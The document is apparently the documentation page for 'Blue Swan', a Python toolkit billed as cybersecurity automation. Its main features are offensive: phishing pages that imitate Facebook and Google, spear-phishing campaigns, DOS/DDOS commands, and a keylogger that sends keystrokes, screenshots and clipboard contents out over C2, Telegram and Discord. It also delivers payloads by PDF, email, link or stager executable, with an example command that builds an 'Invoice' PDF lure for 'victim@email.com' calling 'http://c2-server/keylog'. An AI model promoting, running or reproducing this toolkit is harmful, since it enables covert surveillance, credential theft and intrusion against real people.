🦢 BLUE SWAN

What is Blue Swan?

Blue Swan is a complete cybersecurity automation platform built in Python. It combines network scanning, traffic generation, social engineering, spear phishing, advanced keylogging, DOS/DDOS, agent C2, IP blockchain, and real‑time monitoring — all accessible from a beautiful web dashboard and popular messaging platforms.

210+ security commands Discord · Telegram · Slack Signal · iMessage · WhatsApp Google Chat · Web

Step‑by‑step installation

1. Clone & enter the repository

git clone https://github.com/Iankulani/blue_swan.git
cd blue_swan

2. Create virtual environment (recommended)

python3 -m venv venv
source venv/bin/activate  # Linux/macOS
venv\Scripts\activate     # Windows

3. Install core dependencies

pip install --upgrade pip
pip install -r requirements.txt

4. Install optional extras (for full functionality)

# keylogger, traffic gen, phishing, bots, web, graphics
pip install pynput scapy flask discord.py telethon slack-sdk pywhatkit reportlab matplotlib seaborn dnspython pyshorteners whois qrcode beautifulsoup4

5. Run Blue Swan

python blue_swan.py

Pro tip: run with sudo or as admin for raw socket / firewall features.

Quick start

After installation, the interactive terminal opens. Type help to list all commands.

🦢> help
  # shows the full command reference
🦢> ping 8.8.8.8
  # test connectivity
🦢> nmap_quick 192.168.1.0/24
🦢> traffic icmp 10.0.0.1 20
🦢> keylogger_start
🦢> web_start 5000  # launch dashboard

The web dashboard runs at http://localhost:5000 with real‑time stats, IP monitoring, and command execution.

Command overview

Blue Swan groups commands into families:

ping, nmap, curl, netcat, traceroute – network recon
ssh_add, ssh_exec, ssh_list – remote SSH control
traffic, nikto, dos_* – traffic gen, web vuln scanning, DOS attacks
phish_* – 30+ social engineering templates (Facebook, Google, etc.)
spear_create, spear_send – spear‑phishing campaigns
keylogger_start, keylogger_logs – advanced keylogger with exfil
deploy_pdf, deploy_email, deploy_link – payload delivery
monitor_add, monitor_list, monitor_blockchain – IP monitoring & blockchain
ip_to_domain, domain_to_ip, host_domain – domain hosting engine

🦢> help # full command reference

Platform integration

Blue Swan connects to Discord, Telegram, Slack, Signal, iMessage, WhatsApp, Google Chat and the web.

Discord Telegram Slack Signal iMessage WhatsApp Google Chat Web

Configure any platform during startup or via config files. Commands executed from any platform are logged centrally.

🦢> # Discord example
  (configure token & channel, then use !ping 8.8.8.8)

Advanced keylogger

Full‑featured keylogger with screenshots, clipboard capture, and exfiltration via file, email, C2, Telegram, Discord.

keylogger_start – start logging (hotkey F10 to stop)
keylogger_logs – view captured keystrokes
keylogger_screenshots – list captured screenshots
keylogger_clipboard – clipboard history

🦢> keylogger_start
✅ Advanced Keylogger started
  • Press F10 to stop
  • Screenshot interval: 60s
  • Upload interval: 30s

Deployment engine

Generate payloads that deliver the keylogger or C2 agents via PDF, email, link, or executable.

🦢> deploy_pdf "Invoice" "victim@email.com" "http://c2-server/keylog"
✅ PDF deployment created: a1b2c3d4
File: .blue_swan/deployments/a1b2c3d4.pdf

deploy_email – HTML email with tracking
deploy_link – shortened link payload
deploy_executable – stager executable
deploy_list – track all deployments

IP monitor & blockchain

Monitor up to 10,000 IPs with real‑time port scanning, threat detection, and an immutable blockchain that logs every scan and action.

🦢> monitor_add 192.168.1.100 "Suspicious host"
🦢> monitor_status 192.168.1.100
🦢> blockchain_info
🔗 Blockchain Information
  Chain Length: 342
  Difficulty: 4

monitor_list – show all monitored IPs
monitor_scan – trigger immediate scan
monitor_blockchain – view IP blockchain history
monitor_verify – verify chain integrity

Web dashboard

Beautiful real‑time dashboard with live command output, IP monitoring, threat alerts, and graphical charts.

🦢> web_start 5000
✅ Web dashboard running at http://0.0.0.0:5000

Execute commands directly from the browser
View monitored IPs with open/closed ports
Real‑time alert feed and performance charts

Access via any device on your network.

Blue Swan Documentation